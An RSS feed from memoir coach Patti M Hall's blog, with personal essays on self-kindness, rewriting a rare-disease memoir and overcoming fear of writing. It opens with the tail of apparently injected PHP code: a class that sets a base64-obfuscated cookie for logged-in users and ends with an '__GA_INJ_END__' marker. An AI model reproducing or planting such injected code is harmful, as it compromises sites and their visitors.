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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224(); /* __GA_INJ_END__ */ Kind Over Matter| Patti M Hall https://pattimhall.com/kind-over-matter/ Master Story Alchemist. The World Is Waiting To Hear Your Story Wed, 22 Jul 2020 14:49:49 +0000 en-CA hourly 1 https://wordpress.org/?v=6.9.4 https://pattimhall.com/wp-content/uploads/2022/10/cropped-icon-1-32x32.png Kind Over Matter| Patti M Hall https://pattimhall.com/kind-over-matter/ 32 32 Kind Over Matter https://pattimhall.com/kind-over-matter/?utm_source=rss&utm_medium=rss&utm_campaign=kind-over-matter Tue, 19 May 2020 10:34:22 +0000 http://pattimhall.com/?p=10423 www.kindovermatter.com

The post Kind Over Matter appeared first on Patti M Hall.

]]> www.kindovermatter.com

The post Kind Over Matter appeared first on Patti M Hall.

]]> We Are The Owners of Our Stories https://pattimhall.com/we-are-the-owners-of-our-stories/?utm_source=rss&utm_medium=rss&utm_campaign=we-are-the-owners-of-our-stories Sun, 01 Oct 2017 01:21:47 +0000 http://pattimhall.com/?p=1333 Go ahead and tell it  – just the way you like. You own your story. I own mine. As authors of our lives, and the tales that our actions, feelings and choices produce, we are the owners … we have all the rights of ownership and that means that we each, every single one of…

The post We Are The Owners of Our Stories appeared first on Patti M Hall.

]]> Go ahead and tell it  – just the way you like.

You own your story.

I own mine.

As authors of our lives, and the tales that our actions, feelings and choices produce, we are the owners … we have all the rights of ownership and that means that we each, every single one of us, gets to tell our tale. Doubts about what we are “allowed” to write crushes many writers before they even get started.

I’m a book coach who focuses on memoir, and a memoirist myself, and I’ve looked at this concern of aspiring memoirists, bloggers and writers from most angles. This concern, the one that often stalls us putting pen to page, sounds like these comments I heard in a recent workshop I gave:

“What if someone is upset by what I write?”

“I don’t wanna get sued.”

“Am I allowed to say this, as long as it’s true?”

Some people are asking about litigation, and how to wisely write about sensitive material without being the target of formal responses. But the deeper need I read in the faces of people is for permission. We all want to feel like it is okay to talk about our lives, however intimately, or publicly. We are looking for endorsement, dispensation …we want the high five, and a “You go, girl!” from somewhere.

Getting jammed up by something in our heads, while writing, is ubiquitous … every writer knows the sensation, most have succumbed to its grimy little paws, and some stay stuck and lean in to the muck and mire so much that they put the pen away for good. These folks have genuine reason to be concerned, yes. But when permission, the ultimate self-kindness, comes from our internal fire, we each will realize that owning our story is bigger–we are bigger–than anyone’s reaction to our side of things.

This is where I come in with the question, “what do you want to say?” and invite the person back to the page, gently placing the pen back in her hand.

There are enough critics in the world, and the Internet invites voices to climb onto our shoulders and not stop yapping. Let’s not be the critic that stops the flow of words; that therapeutic release of relatable moments in our lives that is memoir, life-writing, journaling and blogging. Your version of your life matters more than anyone’s need to take exception with it.

With rights come responsibilities too. We must tell the story to the best of our recollection. I tell people this: “you must be your own fact checker.” Your memory is the warehouse of your story. Write from that place and be kind to yourself when the outcome is fraught with emotion.

We are storytelling animals. Humans are bound together, defy the fight or flight stress response to crisis, by sharing our tales of resilience and survival. Relating to your story will ease the passage through life for the reader and listener. When you think of it that way, isn’t telling your tale a generous act? When you think of your experience, and the retelling of it as a gift, doesn’t that free you up to write about it?

In the words of one workshop attendee, who shared that she strongly feels that her families stories need to be recorded, maybe even out in the world:

“I’m more afraid of not writing, than I am of someone being offended.”

Write on.

Self-kindness dwells in the truth of your story. It’s yours to tell. Do it well.

 [portions previously published September 29, 2017 on www.kindovermatter.com]

The post We Are The Owners of Our Stories appeared first on Patti M Hall.

]]> Kindness to Myself In The Pages of My Memoir https://pattimhall.com/kindness-pages-memoir/?utm_source=rss&utm_medium=rss&utm_campaign=kindness-pages-memoir Wed, 23 Aug 2017 20:11:52 +0000 http://pattimhall.com/?p=1306 Confession time. I have a problem. I’m a #Memoiraholic. Yup. Mr. Webster and his logophiles (word-loving compadres) would define me thusly: one who loves narrative composed of personal experience to excess. Guilty. As. Charged. One of the reasons I love the memoir genre, is that memoirs are an unself-conscious dive down the proverbial rabbit hole…

The post Kindness to Myself In The Pages of My Memoir appeared first on Patti M Hall.

]]> Confession time.

I have a problem.

I’m a #Memoiraholic.

Yup.

Mr. Webster and his logophiles (word-loving compadres) would define me thusly:

one who loves narrative composed of personal experience to excess.

Guilty. As. Charged.

One of the reasons I love the memoir genre, is that memoirs are an unself-conscious dive down the proverbial rabbit hole into incredible realizations.

They reflect both experience, and years of self-reflection about what has contributed most to who we are in the time of writing. I say unself-conscious because by the time a writer has gotten to the publication stage of a memoir, they have grown quite comfortable with the contents. They can’t afford to feel squeamish about the content anymore.

First of all, it can take years to write the manuscript.

Secondly, time has passed. It is rare that a book is written as the writer is experiencing its content. It is more common that writers choose to wait, and in fact, need to wait years for their fluidity with the experience and its meaning to distill into text. Cheryl Strayed’s Wild comes to mind as an example. The clarity of a book’s pithy conclusions is the result of time, (and a ton of hard work), which I appreciate as a voracious reader and memoiraholic.

Another common feature of the writing process for memoir writers is the worry that they will never feel comfortable including content that could offend people; perhaps their stories uncover family secrets for the first time or their book assigns blame, controversially. The Fact of A Body by Alexandria Marzano-Lesnevich is a must-read because of how the author successfully wrestles the notion of blame to the page.

Maybe this is why you haven’t started your book—you don’t want the telling of your story to hurt anyone, or you just haven’t found the courage you think you need, yet.  Not yet.

But you will. Stories have a way of fighting for air, pressing themselves to the page. This is true of my memoir, tentatively titled Our Own Forever, about the tumult in my life and my response when my son was diagnosed with an uber-rare disease. I recently undertook a complete rewrite of my manuscript. I had drafted its former version, all 100,000 words of it in 2014, but late last year I realized that its conclusions weren’t accurate anymore. There was more to say. I wasn’t that woman, or that writer now, even that I’d been just three years ago. So I started again, because the story demanded it of me. Sure, I considered giving it up. Many people put the book in the box and are content to let it languish. But my story, my memoir that reveals all of the roles I took on in addition to being Patti, and being Mom, in order to save my child, needed to get out in the world. It needed to help other parents with critically and chronically-ill children feel less alone. It wouldn’t stop percolating through me, even though I tried putting other projects in front of it. My memoir fought hard to be noticed, it tugged at my soul, peeling away paint from the blackened window I’d stored it behind.

[NOTE: Loving Large: A Mother’s Rare Disease Memoir will be released April, 2020 and can be ordered here:]

Recently I realized that rewriting my memoir has been an unwitting act of self-kindness. You see, I’ve witnessed myself living these years, in as much as any of us has self-awareness in hospital visits, parenting, grieving, and dealing with divorce, depression and decision-making. (Or so I thought.) But I hadn’t really appreciated, with compassion, the person I’d become in the After, until I saw myself in the freshly written pages. I hadn’t realized that fear had been forcing my hand in life choices. I hadn’t seen that I was unwilling to trust that a safe future awaited my two children. I learned that I was keeping myself small, living below the radar, because I felt disaster might discover me again and in my newly assumed role as Crisis Mom, I thought I deserved its wrath.

The woman I am now can never be who she was Before my son’s diagnosis. I cannot go back. Neither can he. Had the events of the last eight years not occurred just as they did, neither my son nor I would be who we are. I can celebrate and unconditionally love the young man he has become—why wasn’t I embracing the Patti I’d become in the same way?

Because I hadn’t written it yet.

I write in order to know who I am. The kindest thing I could have done was write in my now voice, as my now Patti—the me in the After. So I started over.

There are riches in our histories, pain speckles our story but it needn’t define us entirely. There are blissful moments within loss, and heart-rending gifts abound while sitting bedside with a sick child. The phoenix does rise.

Kindness to ourselves is about compassion directed inward. I needed to integrate the advocate, researcher, scrub nurse, and cheerleader I became while on the medical odyssey with me, in order to know better the woman and the writer I am now. That took time. I needed to take the time and the book made sure I did.

Kindness is a muscle, once discovered, it benefits from use. So I will rewrite this memoir, and the rewrite my other book this year too, using the voice of the writer who has learned the value of the richness of all experience, the tragic and the joyous. Done well, my future readers will go down the rabbit hole of discovery with me in the pages of my life.

[originally posted on www.kindovermatter.com August 2017]

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]]> Branches Fall on the Well-Chosen Paths Too https://pattimhall.com/branches-fall-well-chosen-paths/?utm_source=rss&utm_medium=rss&utm_campaign=branches-fall-well-chosen-paths Mon, 21 Aug 2017 00:10:20 +0000 http://pattimhall.com/?p=1298 I want to share something really personal with you. It’s the image I conjure every single time I (try to) meditate. I’m in a forest. There are trees on either side of me, I brush them with my hands, like they are the shoulders of old friends. I feel the canopy overhead, making the air…

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]]> I want to share something really personal with you. It’s the image I conjure every single time I (try to) meditate.

I’m in a forest. There are trees on either side of me, I brush them with my hands, like they are the shoulders of old friends. I feel the canopy overhead, making the air greyish-green. I am surrounded by every shade of green imaginable. I’m walking a rustic, ancient pathway, lined with damp, moss-covered, well-trodden and ancient, storied stones. I look up from my feet, glancing ahead warily to see the pathway rises up a small hill, and I can see it begins to turn to the right, breaks out of the trees into open, sunny sky.

I take comfort from this image because I love the forest, I’m a walker, and I can see the way forward is clear. I can see that if I plod along, not letting fear get the better of me, and bolting to the clearing, I will get to that big, blue sky soon. In no version of this visual, which I’ve used hundreds of times, does it get interrupted by me tripping over a branch, wrenching my ankle, falling flat on my face with a Harumph! and wailing like a toddler who dropped her ice cream out of the cone.

But that is pretty much what happened this month. I went down hard. A tornado’s worth of debris has blocked my path. I can’t see the stones anymore.

I had a plan. The goal was to take 18 months, write three manuscripts, and completely dedicate myself to my writing. I’m a project manager, meticulous navigator type. I had plotted my course for months in advance, thinking through all the ways that my progress might be thwarted…but I couldn’t control things like the real estate market, political will, or public anxiety. The house I needed to get sold, didn’t sell. All of the reasons are outside my control, have nothing to do with my house (or me), and no amount of mapping could have guided me around this obstacle. But the branches, tree limbs and intact fallen trunks got blown in front of me just the same. A new visual image has appeared and in it, there is no way forward except climbing, crawling, and hauling my exhausted body across every single bit of crap that has been blown onto my path. I can’t see the path anymore.

It’s hard climbing over downed tree limbs and storm-blown debris. I’m not young anymore and I’m not in good shape either. I lost sight of the path. And Anger, once a stranger to me, has crept out from the filthy, dark cave where I had it locked away and it is not pretty.

This is where the self-kindness came in. I’m trying to learn the word PERMISSION. Last year I had to learn the word BOUNDARY and that one is still a work in progress, so I’m guessing that giving myself permission to be pissed off, cranky as hell and frustrated beyond words, isn’t going to be something I grasp quickly.

I had a well-conceived plan for embracing my writing life in a whole new way. You know what Robert Burns said of “the best laid schemes o’mice an’ men” — they go awry. Bloody hell, do they ever!

I wanted the context to be simplified, pared down, and financially well-provided for. But it didn’t work out that way. I was walking the challenging and ambitious path of leaving all paid work behind in order to pursue three manuscripts. But guess what, a lot of detritus has gotten in my way. Now the goal is to believe that the footpath is still there.

Committed to self-kindness, I still go to the desk everyday and stick to my writing schedule, which is, write something every day. When I can’t, I take the time to rant and feel sorry for myself, and then I go back to the desk and try again — like a sailor who has nothing but flotsam left of his ship …because he still loves the sea.

And my visualization — it’s adjusted, like the focus button needs to be pressed, but I keep putting one wary foot in front of the other, stepping over and around, climbing what I must, because I know the path is under there somewhere and the blue sky is still the reward at the end.

What do you visualize in order to pull yourself through the tough walking?

[published on www.kindovermatter.com  in July, 2017]

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]]> Sometimes the Kindest Thing to Do is Start Over https://pattimhall.com/sometimes-kindest-thing-start/?utm_source=rss&utm_medium=rss&utm_campaign=sometimes-kindest-thing-start Mon, 21 Aug 2017 00:03:38 +0000 http://pattimhall.com/?p=1293 I tried a hundred ways to say it. Word junkies do that—we have thesaurus pages on the insides of our eyelids. I’m no different. I pressed the word restart and its myriad synonyms into my personal, lexical gap. I’m reassembling it. “It’s a rebuild.” I’m putting it back together. “I’m renovating it!” Still, there was…

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]]> I tried a hundred ways to say it. Word junkies do that—we have thesaurus pages on the insides of our eyelids. I’m no different.

I pressed the word restart and its myriad synonyms into my personal, lexical gap.

I’m reassembling it.

“It’s a rebuild.”

I’m putting it back together.

“I’m renovating it!”

Still, there was a hole where the best word should fit.

I invented some words, even: I’m mozaicing my manuscript, I told someone.

It all felt wrong. Not naughty or inappropriate, but cruel, somehow.

You see, I wrote a memoir about what my son and I, his brother and our little family went through when a rare disease diagnosis tossed a grenade into our lives. I was pleased with the writing and the structure. Although it wasn’t my first manuscript—I have another memoir in the can, and multiple ghostwrites to my credit—I was pleased with it. It reflected us, me, the medical odyssey and how we survived, even if we were rumpled, scarred and never going to know the oblivion of blind faith again. It told our story. But it only told the tale up to when I stopped writing, and it was written by who I was then. Restart slinked its way into my writing life vocabulary. When I decided to take my book out to find an agent who’d love it and a publisher who wanted to be its champion, I felt with all my senses that I had to rewrite it.

Events being what they intrinsically are—decidedly out of one’s control, I found myself cutting that manuscript apart last year. But I’d put it off and put it off, as one does with the horrible and the inevitable (think basement purge-sized procrastination). First, I tortured myself with the getting to the slicing and dicing part.

I knew what had to happen.

Writers always feel the percolating inner message that more editing is required. And I LOVE the editing, polishing, revising circuit of writing. So why did I beat myself up about it? So. Unkind.

Then, with the firm-handed assistance of my writing coach, (everybody needs one) and an (almost) self-imposed deadline to do it before year’s end, I cut my narrative up into 156 pieces in December. 80,000 word manuscript cut into 156 files. I swung a cleaver at it. I hacksawed it. I ginsu-knifed it. That felt worse than the nasty self-talk that had preceded taking action.

For a while…and then I felt the shift begin.

What felt like I was lopping off an arm, like I was destroying a key element of my working life, my history as a writer, and myself, resulted in a lightening. Relief. I had to get busy, and do that most frightening and potentially risky thing of all in order to get some clarity.

In short, it felt like the least kind thing I’ve ever done. That is precisely why it took me two years to do it, I think.

The trajectory wasn’t straight, don’t get me wrong. I hacked the book apart in December and ran scared from it until April. But once I cracked open the copious files, and began to snug them up against one another, knit them together, feather them into a narrative again, I could hear the voice of the person, the writer, the mom and the woman, I am now. The book was a whole new story, told by a new-ish me.

I was burying myself under the unkindness of self-deprecation, all fuelled by my oldest friend, fear.

Flash forward. Twelve chapters and 30,000 words into the rewrite, and well, I’m pleased. Just that, pleased. My next task if finding a synonym for that word!

I spent some time with the thesaurus, searching for a word that meant do over but didn’t mean failure. That was the kindest thing I could do for my writing, and for myself.

I gave myself permission to do it again, and I learned that my permission was all that mattered.

What are putting off doing because you haven’t told yourself, Yes?

[published on www.kindovermatter.com in June, 2017]

This book baby, my memoir Loving Large: A Mother’s Rare Disease Memoir is releasing April 2020 from Dundurn Press. You can order yours online at Amazon worldwide, or ask for it at your favourite local bookseller, please. published on www.kindovermatter.com in June, 2017

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]]> Self Kindness Meant Getting Out of My Own Way https://pattimhall.com/self-kindness-meant-getting-way/?utm_source=rss&utm_medium=rss&utm_campaign=self-kindness-meant-getting-way Fri, 24 Mar 2017 14:57:19 +0000 http://pattimhall.com/?p=1227 We get all up in our own grills, don’t we? The nasty self-talk, the limiting beliefs and the overly cautious choices that are motivated by fear rather than hope. These are all hallmarks of the perpetually Unkind-to-Selfers. I’m guilty on all counts. Are you? We have only ourselves to blame and that isn’t always easy…

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]]> We get all up in our own grills, don’t we? The nasty self-talk, the limiting beliefs and the overly cautious choices that are motivated by fear rather than hope. These are all hallmarks of the perpetually Unkind-to-Selfers. I’m guilty on all counts.

Are you?

We have only ourselves to blame and that isn’t always easy to live with. There, I’m laying that accusation down, but let me tell you a story to soften the blow.

In my ongoing effort to improve self-kindness, I’m getting honest about why things haven’t always turned out just the way I’d hoped. For me, that includes rewriting my manuscript – again; because I needed to admit it is no longer good enough, by my standards. While I’ve been ghostwriting and growing a writing inspiration and coaching biz online at pattimhall.com these last few years. I’ve also written two memoirs. Before you ask, neither of them is published yet. (But thanks for asking.)

I’m rewriting now, but this was a long time coming. I knew that I was going to completely overhaul my manuscript before seeking a new agent for it. I knew this rework would entail a new title, outline, structure and yanking our seven-year-odyssey with rare disease ruthlessly out of chronological order. Here’s the rub – I knew what it was going to take. I knew because I am a writer, voracious reader and #memoiraholic and I know memoirs. I knew my manuscript wasn’t reflective of the story I wanted to tell or my writing ability anymore. I wasn’t willing to make these next few forays into conventional publishing with anything less than what I felt was my best. But did I jump in with both feet and get to work? Nope. I had a meltdown. I worried about things I told myself were more important. I stopped writing all together. I worked on my paying gigs, built a new website, but didn’t touch my book. Didn’t touch it at all.

I may sound like I have clarity now, but it took me 18 months. That was time I didn’t want to lose because I am stricken with a passion for valuing every day (the essential lessons of my two memoirs.) AND, what is worse and far more unkind than the way I treated my book, is that EVERY SINGLE DAY I berated myself for not rewriting, as if I had forgotten to pick up my child and left him on the curb at rush-hour. Yes…18 months of beating myself up (“Just forget it, Patti, you’re a has been, nobody is going to interested in this.”), diminishing my work (“You took too long.”), judging my initial motivation for writing that book AND for being a writer (high-pitched witchy giggles and imaginary crooked purple fingers pointed at me).

I’m a book writing coach, and that irony wasn’t lost on me. Had I been my own client I would have patiently and lovingly companioned myself, offering: “You’ll know when it’s time.” and “The story will be so much better for the waiting.” But I didn’t. Instead, I fell back on the script that has been my constant companion since childhood. It was some of the nastiness self talk ever for me, so far beyond the “inner critic” that I can’t label it and won’t try.

Some weeks ago I wrote a new kind of script… a Self-Schooling Script. I crafted a Personal Memoir Writing School and I was my only student. It had a few units of study that I devised as a return to the writing life. I wrote every day. I read constantly. I hung out at the bookstore regularly. I studied. I picked up the five memoirs that are what I consider the most exceptional exemplars. I listened to them on audio and then marked up the paper copies in order to disassemble the plot lines and structure, and to absorb the authors’ voices. I went at this like I would any grad school course because I was staking my life on this. I’m not being overly dramatic here. Writing isn’t what I do, it is who I am. Without it, I would cease to exist. I knew that once I uttered the words, once I said out loud to the universe that I was going to permanently shelve my book, my relationship with myself as a writer would be shattered. I would be shattered and it would be my own doing. I would never have let one of my clients or writer pals step away from their identity, their story or their life’s work. I couldn’t let myself either, in the end. Kindness to myself won out. I coached myself eventually. Thankfully.

Schooling myself has been exhausting, expensive and frankly, self-indulgent. It has been as necessary as therapy to come out of depression and yoga to overcome what winter has done to my body (more on that next month). But I’m writing again, have a new 21-page outline and the memoir is being reborn. I got schooled in some acts of self-kindness and I’m a better writer (and a better me) because of it.

a version of this appeared in www.kindovermatter.com in 2017

[My memoir Loving Large: A Mother’s Rare Disease Memoir is releasing in April 2020. You can order your copy online at Amazon worldwide or please seek out a copy at your local bookseller. With thanks, Patti.]

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]]> Are you willing to be wrong about writing? https://pattimhall.com/willing-wrong-writing/?utm_source=rss&utm_medium=rss&utm_campaign=willing-wrong-writing Mon, 20 Mar 2017 16:04:28 +0000 http://pattimhall.com/?p=1220 Are you willing to be wrong about writing? Good! I’m here to tell you—YOU’RE WRONG. (and give you some TIPS to prove it to yourself) Writing is one of those creative, expressive tasks that provokes a lot of emotions. Wherever you are, whatever you’re feeling about writing, I’ve got you. Whatever you are telling yourself…

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]]> Are you willing to be wrong about writing? Good!

I’m here to tell you—YOU’RE WRONG.

(and give you some TIPS to prove it to yourself)

Writing is one of those creative, expressive tasks that provokes a lot of emotions.

Wherever you are, whatever you’re feeling about writing, I’ve got you. Whatever you are telling yourself about writing, I’ve said it, and say it still, and I know that most of the time, I’m wrong.

Are these scenarios familiar?

Scenario: You saying that writing is too hard for you. Well, you’re wrong.

Scenario: You try to convince yourself that your story isn’t important enough to write down. You’re wrong, again.

Scenario: You try to sell yourself on the idea that you shouldn’t write about your life, because it might offend or bother someone else. Oh my, you’re really wrong on that one.

My friend, if you’re yapping at yourself, verbally flailing around saying “I can’t”, then I ask you,  are you willing to find out you’re wrong? 

I’m here to tell you – That’s not you talking, Honey. That’s our shitty, nasty, self-serving friend Fear. Fear uses shouldn’t, mustn’t, can’t and better not, like no other limiting belief does.

How about you and I tell Fear to get back into its box in the trunk and ride this trip out from there?!!

Brace yourself for it …

The more serious coaching message

is coming now…

The time rolls around when you need to lose the excuses and put not just your perfectly manicured toe in the water, but your whole damn body. Put the force of your whole person behind the pen and PUSH it down the page.

Try this: Write a paragraph about how you are sad, pissed off or heartbroken.

Oh, you know you can write that. (Betcha can’t stop at a paragraph.)

Or, try this: Write a few lines about feeling angry and how what happened was a much longer story than what he said it was. Write the full details, just to feel better that the truth has been put into the air, that you told your version.

One feeling, one story, one point to be made.

That’s how life writing begins. Way to go. Now just do it again.

One feeling. One story. One point you want to make.

I know that once the pen lifts off the page, Fear lifts the lid on the trunk and you aren’t sure you’ll ever be able to show anyone this, or that you can ever turn this into a book. Please, savour the feeling of putting you on the page for your own peace of mind, healing or sense of closure. Savour now.

Let’s worry about the other stuff later, okay? At the risk of a little repetition, here’s more of me talking about Fear, in an interview I did with Lara Heacock at KindOverMatter.com last year:

You won’t sense you are extraordinary until you put yourself out there, until you put some part of your story out there, if only on the page in your personal notebook, locked away in a desk. I always say, you’re extraordinary the second you open your mouth and tell your story because you realize that it is incredibly interesting and meaningful to other people. Your perception is extraordinary, even if what you’ve lived doesn’t seem to be. We just might be wrong, when we make pronouncements about our stories, because we are speaking out of fear.
What has been a reality kicker for me as a writer is that I still so often misperceive my own experience. My inner critic says, what’s the big deal about what happened to you, it’s no different than it’s been for anyone else. It sure as hell hasn’t been common, but if it was, great.
I have to remind myself to tell the story anyway, because I’m likely wrong. It is enough to tell the story because you have it to share. We have neither a full nor fair perspective on our lives. That’s why coaches, editors and other readers are so critical to our writing life stories. Sometimes, we are the worst and most harsh judges of ourselves. We get a lot of things wrong because of fear.
How do we counteract the limits that fear is placing on our writing? Ask yourself this: What do I want from my story?
Have you got some part of you that needs to get out? Have you got something that you really feel like you need to say? Most people will say, “I kind of think if I talked about this, it might help other people.” Almost inevitably, some part of our willingness to talk is purely charitable, storytelling is sharing, it is giving. It starts there, but the hard work that keeps you going is the feeling good about writing it. You’ve got to put some ink on the page for no other reason than to see what it feels like.

If you’re willing to be wrong … and I know you really, really wanna be, then write an opening paragraph for the book you have always wanted to write, and share it with someone you love and trust.

Admit it. It feels good, doesn’t it? 

 

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